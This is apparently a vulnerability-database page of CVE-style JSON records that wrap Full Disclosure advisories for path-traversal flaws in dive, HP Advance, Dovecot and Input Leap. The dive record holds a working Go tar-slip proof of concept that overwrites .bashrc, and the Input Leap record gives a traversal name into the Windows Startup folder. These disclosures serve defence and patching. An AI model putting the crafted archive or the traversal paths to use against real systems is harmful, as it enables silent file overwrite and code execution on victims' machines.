\"/\")\nfor {\nheader, err := reader.Next()\nif err == io.EOF {\nbreak\n}\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\nname := header.Name\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\nreturn nil\n}\n\nfunc addFile(tw *tar.Writer, name, body string) {\nhdr := \u0026tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)),\nTypeflag: tar.TypeReg}\n_ = tw.WriteHeader(hdr)\n_, _ = tw.Write([]byte(body))\n}\n\nfunc main() {\nvar layer bytes.Buffer\ntw := tar.NewWriter(\u0026layer)\naddFile(tw, \"etc/motd\", \"welcome to the totally safe image\\n\")\naddFile(tw, \"etc/motd-x/keep\", \"x\\n\")\naddFile(tw, \"etc/motd-x/../../../.bashrc\", \"echo pwned\\n\")\n_ = tw.Close()\n\nerr := extractInner(tar.NewReader(\u0026layer), \"/etc/motd\")\nfmt.Println(\"extractInner returned:\", err)\n}\n```\n\nRun it from a directory that stands in for the analyst\u0027s project directory,\nwith a `.bashrc` one level above:\n\n```sh\nmkdir -p home/victim/project\necho \"alias ll=\u0027ls -l\u0027\" \u003e home/victim/.bashrc\ncd home/victim/project \u0026\u0026 go run main.go\n```\n\nObserved result:\n\n```text\nextractInner returned: \u003cnil\u003e\n```\n\n```text\n$ find home -type f | sort\nhome/victim/.bashrc          # was: alias ll=\u0027ls -l\u0027\nhome/victim/project/etc/motd\nhome/victim/project/etc/motd-x/keep\n\n$ cat home/victim/.bashrc\necho pwned\n```\n\nThe selected file lands in the working directory as expected, and the escape\nentry silently overwrites the `.bashrc` one level above it. `extractInner`\nreturns nil, so the UI reports a successful extract.\n\nEnd to end, the same layer is delivered by publishing an image whose layer\nblob contains the three entries above (any registry accepts the blob as-is),\nand waiting for an analyst to run `dive` on the image and extract a file.\n\n## Impact\n\nArbitrary file write with the analyst\u0027s privileges, at any path that is\nreachable through `..` from the directory dive runs in, usually the home or\nproject directory. High-value targets include shell startup files such as\n`~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the\ncurrent repository, and desktop autostart entries, which turn the write into\ncode execution at the next shell or login. The write is silent: extraction\nsucceeds and the extra entries leave no error behind.\n\nThe precondition is that the analyst selects a file in the crafted image and\npresses the extract keybinding, which is why this is rated medium rather than\nhigh. That action is exactly what the feature is for: an analyst who opens a\nsuspicious image to look at a credentials file or a config file has every\nreason to extract it for a closer look, and the layer content is fully\nattacker-controlled.\n\n## Solution\n\nTreat every entry name as hostile and extract through a containment root.\nThe check belongs on the cleaned, joined path, not on the raw string:\n\n```go\ndest := filepath.Join(destinationDir, filepath.Clean(\"/\"+header.Name))\nif dest != filepath.Join(destinationDir, target) {\ncontinue // extraction is for the selected file only\n}\n```\n\nJoining against `/`+name first makes `filepath.Clean` drop any leading `..`\nor drive-letter tricks, and the equality check then reduces the write to the\none selected file inside `destinationDir`. Creating the file with\n`os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the\nextract from overwriting existing files or following a symlink planted\nearlier in the same layer. This is the standard guard for the tar-slip class,\nthe tar variant of Zip Slip, which every archive extractor that writes to\ndisk needs.\n\nUntil a fix lands, do not use the extract keybinding on images from unknown\nsources, and if it must be used, run dive from an empty directory (or from\ninside a container) so that `..` has nowhere interesting to climb to.\n\n## Timeline\n\n- 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning\n  popular repositories with my static analyzer. The repository has seen no\n  commits since 2025-12-15, so no private disclosure attempt seemed useful;\n  dive 0.13.1 and the current main branch are affected.\n\n## References\n\n- [wagoodman/dive#722 - tar-slip in image layer file\nextraction](https://github.com/wagoodman/dive/issues/722)\n- [wagoodman/dive -\ndive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go)\n- [Snyk - Zip Slip vulnerability\nresearch](https://snyk.io/research/zip-slip-vulnerability)\n- [CWE-22: Improper Limitation of a Pathname to a Restricted\nDirectory](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-59: Improper Link Resolution Before File\nAccess](https://cwe.mitre.org/data/definitions/59.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-59",
              "description": "CWE-59",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:32Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/81"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/81"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/22.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/59.html"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/dive-tar-slip-in-image-file-extraction"
        },
        {
          "url": "https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go"
        },
        {
          "url": "https://github.com/wagoodman/dive/issues/722"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://snyk.io/research/zip-slip-vulnerability"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/81"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "dive tar-slip in image file extraction",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0415",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/81",
            "automated": true,
            "contentSha256": "6abfa560810db09d89cd76e3a010e20b4d8e8d790daac9f2480c66bfd9025dfb",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/81",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-24T02:58:19Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:32Z",
    "dateUpdated": "2026-10-02T04:57:32Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0415"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0414

Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
Title
HP Advance / Output Central: unauthenticated SYSTEM RCE and two additional vulnerabilities (CVE-2026-89082/89083/89084)
Summary
HP Advance / HP Output Central CVE-2026-89082, CVE-2026-89083, CVE-2026-89084 ================================================================ SUMMARY ================================================================ Vendor: HP Inc. Product family named by HP: HP Advance Products in HP's update table: HP AC Print & Scan; HP Output Central Components: Drivve SecureScan, MFPsecure Severity: two Critical (9.3), one High (8.8), CVSS 4.0 Confirmed on: V1R4.0.026 Vendor bulletin: HPSBPI04149 / PSR-2026-0126, published 2026-09-16 Researcher: Joseph Chiarchiaro, https://printoverrun.com ================================================================ [1] CVE-2026-89082 - 9.3 Critical Unauthenticated archive path traversal leading to SYSTEM code execution ================================================================ Vulnerable component: Drivve SecureScan log-viewer web application CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N HP CNA CWE: CWE-94 Researcher assessment: CWE-22, CWE-306 ================================================================ [2] CVE-2026-89083 - 9.3 Critical Forged-header bypass of a local-only authorization gate ================================================================ Vulnerable component: MFPsecure device-integration SOAP service CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N HP CNA CWE: CWE-94 Researcher assessment: CWE-290, CWE-863 ================================================================ [3] CVE-2026-89084 - 8.8 High Unauthenticated .xml file write and deletion as SYSTEM ================================================================ Vulnerable component: MFPsecure device-integration SOAP service CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N HP CNA CWE: CWE-22 Additional researcher assessment: CWE-306 ================================================================ AFFECTED VERSIONS AND REMEDIATION ================================================================ The underlying behavior for all three findings was confirmed on V1R4.0.026. HP's security bulletin lists the following updated R4 versions: - HP AC Print & Scan: V1R4.0.027 or later - HP Output Central: V1R4.0.029 ================================================================ MITIGATION ================================================================ The affected paths themselves require no authentication. ================================================================ DISCLOSURE TIMELINE ================================================================ 2026-06-01 Reported to HP PSRT. 2026-06-24 All three reported root behaviors confirmed on V1R4.0.026. 2026-07-21 HP validated the findings; fixes in progress. 2026-09-14 CVE assignments and CVSS scores communicated by HP. 2026-09-16 HP security bulletin and researcher advisories published. ================================================================ TECHNICAL DETAILS ================================================================ ================================================================ REFERENCES ================================================================ HP Security Bulletin HPSBPI04149 / PSR-2026-0126: https://support.hp.com/us-en/document/ish_15646496-15646518-16/hpsbpi04149 CVE-2026-89082: https://printoverrun.com/disclosures/cve-2026-89082/ https://www.cve.org/CVERecord?id=CVE-2026-89082 CVE-2026-89083: https://printoverrun.com/disclosures/cve-2026-89083/ https://www.cve.org/CVERecord?id=CVE-2026-89083 CVE-2026-89084: https://printoverrun.com/disclosures/cve-2026-89084/ https://www.cve.org/CVERecord?id=CVE-2026-89084 ================================================================ CVE assignment and CVSS scoring: HP Inc. as CNA. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
HP Inc. HP Advance / Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0414 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "HP Advance /",
          "vendor": "HP Inc.",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Joe via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "HP Advance / HP Output Central\n\nCVE-2026-89082, CVE-2026-89083, CVE-2026-89084\n\n================================================================\nSUMMARY\n================================================================\n\nVendor: HP Inc.\nProduct family named by HP: HP Advance\nProducts in HP\u0027s update table: HP AC Print \u0026 Scan; HP Output Central\nComponents: Drivve SecureScan, MFPsecure\nSeverity: two Critical (9.3), one High (8.8), CVSS 4.0\nConfirmed on: V1R4.0.026\n\nVendor bulletin: HPSBPI04149 / PSR-2026-0126, published 2026-09-16\nResearcher: Joseph Chiarchiaro, https://printoverrun.com\n\n\n\n\n\n\n\n================================================================\n[1] CVE-2026-89082 - 9.3 Critical\nUnauthenticated archive path traversal leading to SYSTEM code execution\n================================================================\n\nVulnerable component: Drivve SecureScan log-viewer web application\nCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\nHP CNA CWE: CWE-94\nResearcher assessment: CWE-22, CWE-306\n\n\n\n\n\n================================================================\n[2] CVE-2026-89083 - 9.3 Critical\nForged-header bypass of a local-only authorization gate\n================================================================\n\nVulnerable component: MFPsecure device-integration SOAP service\nCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N\nHP CNA CWE: CWE-94\nResearcher assessment: CWE-290, CWE-863\n\n\n\n\n\n\n\n================================================================\n[3] CVE-2026-89084 - 8.8 High\nUnauthenticated .xml file write and deletion as SYSTEM\n================================================================\n\nVulnerable component: MFPsecure device-integration SOAP service\nCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N\nHP CNA CWE: CWE-22\nAdditional researcher assessment: CWE-306\n\n\n\n\n\n================================================================\nAFFECTED VERSIONS AND REMEDIATION\n================================================================\n\nThe underlying behavior for all three findings was confirmed on V1R4.0.026.\n\nHP\u0027s security bulletin lists the following updated R4 versions:\n\n- HP AC Print \u0026 Scan: V1R4.0.027 or later\n- HP Output Central: V1R4.0.029\n\n\n\n\n\n\n\n\n\n================================================================\nMITIGATION\n================================================================\n\n\n\n\n\nThe affected paths themselves require no authentication.\n\n================================================================\nDISCLOSURE TIMELINE\n================================================================\n\n2026-06-01 Reported to HP PSRT.\n2026-06-24 All three reported root behaviors confirmed on V1R4.0.026.\n\n2026-07-21 HP validated the findings; fixes in progress.\n2026-09-14 CVE assignments and CVSS scores communicated by HP.\n2026-09-16 HP security bulletin and researcher advisories published.\n\n================================================================\nTECHNICAL DETAILS\n================================================================\n\n\n\n\n\n================================================================\nREFERENCES\n================================================================\n\nHP Security Bulletin HPSBPI04149 / PSR-2026-0126:\nhttps://support.hp.com/us-en/document/ish_15646496-15646518-16/hpsbpi04149\n\nCVE-2026-89082:\nhttps://printoverrun.com/disclosures/cve-2026-89082/\nhttps://www.cve.org/CVERecord?id=CVE-2026-89082\n\nCVE-2026-89083:\nhttps://printoverrun.com/disclosures/cve-2026-89083/\nhttps://www.cve.org/CVERecord?id=CVE-2026-89083\n\nCVE-2026-89084:\nhttps://printoverrun.com/disclosures/cve-2026-89084/\nhttps://www.cve.org/CVERecord?id=CVE-2026-89084\n\n================================================================\n\nCVE assignment and CVSS scoring: HP Inc. as CNA.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-290",
              "description": "CWE-290",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-306",
              "description": "CWE-306",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-863",
              "description": "CWE-863",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-94",
              "description": "CWE-94",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:32Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/66"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/66"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://printoverrun.com"
        },
        {
          "url": "https://printoverrun.com/disclosures/cve-2026-89082/"
        },
        {
          "url": "https://printoverrun.com/disclosures/cve-2026-89083/"
        },
        {
          "url": "https://printoverrun.com/disclosures/cve-2026-89084/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.hp.com/us-en/document/ish_15646496-15646518-16/hpsbpi04149"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89082"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89083"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89084"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/66"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "HP Advance / Output Central: unauthenticated SYSTEM RCE and two additional vulnerabilities (CVE-2026-89082/89083/89084)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-89082",
              "type": "related"
            },
            {
              "destId": "CVE-2026-89083",
              "type": "related"
            },
            {
              "destId": "CVE-2026-89084",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0414",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/66",
            "automated": true,
            "contentSha256": "75c913fd2efa9eb3d96a8cda714ef4654ed992e9b3aa0b7155b60fbfa0d5b5dc",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/66",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-17T06:12:36Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0414"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:32Z",
    "dateUpdated": "2026-10-02T04:57:32Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0414"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-0394 (GCVE-0-2026-0394)

Vulnerability from cvelistv5 – Published: 2026-03-27 08:10 – Updated: 2026-03-27 19:41
VLAI
Summary
When dovecot has been configured to use per-domain passwd files, and they are placed one path component above /etc, or slash has been added to allowed characters, path traversal can happen if the domain component is directory partial. This allows inadvertently reading /etc/passwd (or some other path which ends with passwd). If this file contains passwords, it can be used to authenticate wrongly, or if this is userdb, it can unexpectly make system users appear valid users. Upgrade to fixed version, or use different authentication scheme that does not rely on paths. Alternatively you can also ensure that the per-domain passwd files are in some other location, such as /etc/dovecot/auth/%d. No publicly available exploits are known.
SSVC
Exploitation: none Automatable: yes Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-27 19:41 UTC
CWE
  • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
References
Impacted products
Vendor Product Version
Open-Xchange GmbH OX Dovecot Pro Affected: 0 , ≤ 2.3.0 (semver)
Create a notification for this product.
Show details on NVD website

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-0394",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-27T19:41:07.297115Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-27T19:41:17.447Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "modules": [
            "core"
          ],
          "product": "OX Dovecot Pro",
          "vendor": "Open-Xchange GmbH",
          "versions": [
            {
              "lessThanOrEqual": "2.3.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "When dovecot has been configured to use per-domain passwd files, and they are placed one path component above /etc, or slash has been added to allowed characters, path traversal can happen if the domain component is directory partial. This allows inadvertently reading /etc/passwd (or some other path which ends with passwd). If this file contains passwords, it can be used to authenticate wrongly, or if this is userdb, it can unexpectly make system users appear valid users.  Upgrade to fixed version, or use different authentication scheme that does not rely on paths. Alternatively you can also ensure that the per-domain passwd files are in some other location, such as /etc/dovecot/auth/%d. No publicly available exploits are known."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "cwe"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-27T12:33:23.863Z",
        "orgId": "8ce71d90-2354-404b-a86e-bec2cc4e6981",
        "shortName": "OX"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0001.json"
        }
      ],
      "source": {
        "defect": "DOV-8591",
        "discovery": "EXTERNAL"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8ce71d90-2354-404b-a86e-bec2cc4e6981",
    "assignerShortName": "OX",
    "cveId": "CVE-2026-0394",
    "datePublished": "2026-03-27T08:10:17.375Z",
    "dateReserved": "2025-11-28T09:18:02.607Z",
    "dateUpdated": "2026-03-27T19:41:17.447Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0389

Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
Title
[NotCVE-2026-0014] Input Leap 3.0.3 Drag-and-Drop File Transfer Path Traversal Allows Arbitrary File Write Outside the Drop Directory
Summary
---------------------------------------------------------------------------- NotCVE Advisory — NotCVE-2026-0014 ---------------------------------------------------------------------------- [-] Summary: Improper limitation of a pathname in the drag-and-drop file transfer feature of Input Leap, the open-source keyboard and mouse sharing tool, allows a connected peer to write a file outside the configured drop-target directory. Writing into the per-user Startup folder turns this into code execution as the receiving user at the next login. CVSS:3.1 5.3 (AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N). [-] Affected: Input Leap through 3.0.3 (the final release) and master, on Windows and macOS. The input-leap/input-leap repository was archived read-only on 26 July 2026; no fixed version exists or is expected. [-] Technical Description: DragInformation::parseDragInfo() in src/lib/inputleap/DragInformation.cpp reduces each received filename to its basename. It picks one separator for the whole received blob ('/' if the data contains a '/' anywhere, otherwise '\') and then locates the last separator at or before each entry's comma: findResult2 = data.find_last_of(slash, findResult1); ... if (findResult1 - findResult2 > 1) { auto filename = data.substr(findResult2 + 1, findResult1 - findResult2 - 1); find_last_of() returns std::string::npos when no separator is present, and that value is never tested. The unsigned arithmetic wraps: findResult2 + 1 becomes 0, the guard still passes, and the call degrades to data.substr(0, findResult1) - the whole attacker-supplied string up to the comma, with any ".." sequences intact. Because the separator is chosen once per blob, a peer can force the mismatch: a single stray '/' after the first comma selects '/', while a filename written with '\' separators contains no '/' before that comma. DropHelper::writeToDir() in src/lib/inputleap/DropHelper.cpp appends the result to the drop-target directory and opens it for writing, with no normalisation, no check for ".." or absolute prefixes, and no check that the path stays beneath the drop target. A name such as ..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ escapes the configured folder, and a file written there runs as the receiving user at the next login. Preconditions: the feature is opt-in (--enable-drag-drop, not the default), and ArgParser refuses the flag on Linux, so only Windows and macOS targets are affected. Both directions are reachable (malicious client against a server, malicious server against a client). Under the default ENCRYPTED_AUTHENTICATED level the sender must already be a paired peer; a target started with --disable-crypto has no such requirement. The same unchecked find_last_of() result is present in the ancestor debauchee/barrier codebase. The sibling fork Deskflow removed drag-and-drop file transfer and does not appear to carry this code path. Weaknesses: CWE-22: Improper Limitation of a Pathname to a Restricted Directory CWE-191: Integer Underflow (Wrap or Wraparound) CAPEC-126: Path Traversal CAPEC-139: Relative Path Traversal [-] Credit: Discovered by Christopher Duram (https://www.linkedin.com/in/christopherduram/). [-] Full Details and Updates: https://notcve.org/notcve/NotCVE-2026-0014 [-] Main References: https://github.com/input-leap/input-leap https://github.com/input-leap/input-leap/blob/v3.0.3/src/lib/inputleap/DragInformation.cpp [-] About NotCVE: NotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to vulnerabilities not acknowledged by vendors. Vendor will not assign a CVE? Request a NotCVE: https://notcve.org/form/ · Contributors: https://notcve.org/hall/ _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
unknown Input Leap Affected: unknown
Create a notification for this product.
Credits

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Input Leap",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "advisories"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "----------------------------------------------------------------------------\nNotCVE Advisory \u2014 NotCVE-2026-0014\n----------------------------------------------------------------------------\n\n[-] Summary:\nImproper limitation of a pathname in the drag-and-drop file transfer\nfeature of Input Leap, the open-source keyboard and mouse sharing tool,\nallows a connected peer to write a file outside the configured drop-target\ndirectory. Writing into the per-user Startup folder turns this into code\nexecution as the receiving user at the next login. CVSS:3.1 5.3\n(AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N).\n\n[-] Affected:\nInput Leap through 3.0.3 (the final release) and master, on Windows and\nmacOS. The input-leap/input-leap repository was archived read-only on\n26 July 2026; no fixed version exists or is expected.\n\n[-] Technical Description:\nDragInformation::parseDragInfo() in src/lib/inputleap/DragInformation.cpp\nreduces each received filename to its basename. It picks one separator for\nthe whole received blob (\u0027/\u0027 if the data contains a \u0027/\u0027 anywhere, otherwise\n\u0027\\\u0027) and then locates the last separator at or before each entry\u0027s comma:\n\n  findResult2 = data.find_last_of(slash, findResult1);\n  ...\n  if (findResult1 - findResult2 \u003e 1) {\n      auto filename = data.substr(findResult2 + 1,\n                                  findResult1 - findResult2 - 1);\n\nfind_last_of() returns std::string::npos when no separator is present, and\nthat value is never tested. The unsigned arithmetic wraps: findResult2 + 1\nbecomes 0, the guard still passes, and the call degrades to\ndata.substr(0, findResult1) - the whole attacker-supplied string up to the\ncomma, with any \"..\" sequences intact.\n\nBecause the separator is chosen once per blob, a peer can force the\nmismatch: a single stray \u0027/\u0027 after the first comma selects \u0027/\u0027, while a\nfilename written with \u0027\\\u0027 separators contains no \u0027/\u0027 before that comma.\n\nDropHelper::writeToDir() in src/lib/inputleap/DropHelper.cpp appends the\nresult to the drop-target directory and opens it for writing, with no\nnormalisation, no check for \"..\" or absolute prefixes, and no check that\nthe path stays beneath the drop target. A name such as\n..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ escapes\nthe configured folder, and a file written there runs as the receiving user\nat the next login.\n\nPreconditions: the feature is opt-in (--enable-drag-drop, not the\ndefault), and ArgParser refuses the flag on Linux, so only Windows and\nmacOS targets are affected. Both directions are reachable (malicious\nclient against a server, malicious server against a client). Under the\ndefault ENCRYPTED_AUTHENTICATED level the sender must already be a paired\npeer; a target started with --disable-crypto has no such requirement.\n\nThe same unchecked find_last_of() result is present in the ancestor\ndebauchee/barrier codebase. The sibling fork Deskflow removed drag-and-drop\nfile transfer and does not appear to carry this code path.\n\nWeaknesses:\nCWE-22: Improper Limitation of a Pathname to a Restricted Directory\nCWE-191: Integer Underflow (Wrap or Wraparound)\nCAPEC-126: Path Traversal\nCAPEC-139: Relative Path Traversal\n\n[-] Credit:\nDiscovered by Christopher Duram\n(https://www.linkedin.com/in/christopherduram/).\n\n[-] Full Details and Updates:\nhttps://notcve.org/notcve/NotCVE-2026-0014\n\n[-] Main References:\nhttps://github.com/input-leap/input-leap\nhttps://github.com/input-leap/input-leap/blob/v3.0.3/src/lib/inputleap/DragInformation.cpp\n\n[-] About NotCVE:\nNotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to\nvulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?\nRequest a NotCVE: https://notcve.org/form/ \u00b7 Contributors:\nhttps://notcve.org/hall/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-191",
              "description": "CWE-191",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:26Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/67"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/67"
        },
        {
          "url": "https://github.com/input-leap/input-leap"
        },
        {
          "url": "https://github.com/input-leap/input-leap/blob/v3.0.3/src/lib/inputleap/DragInformation.cpp"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://notcve.org"
        },
        {
          "url": "https://notcve.org/form/"
        },
        {
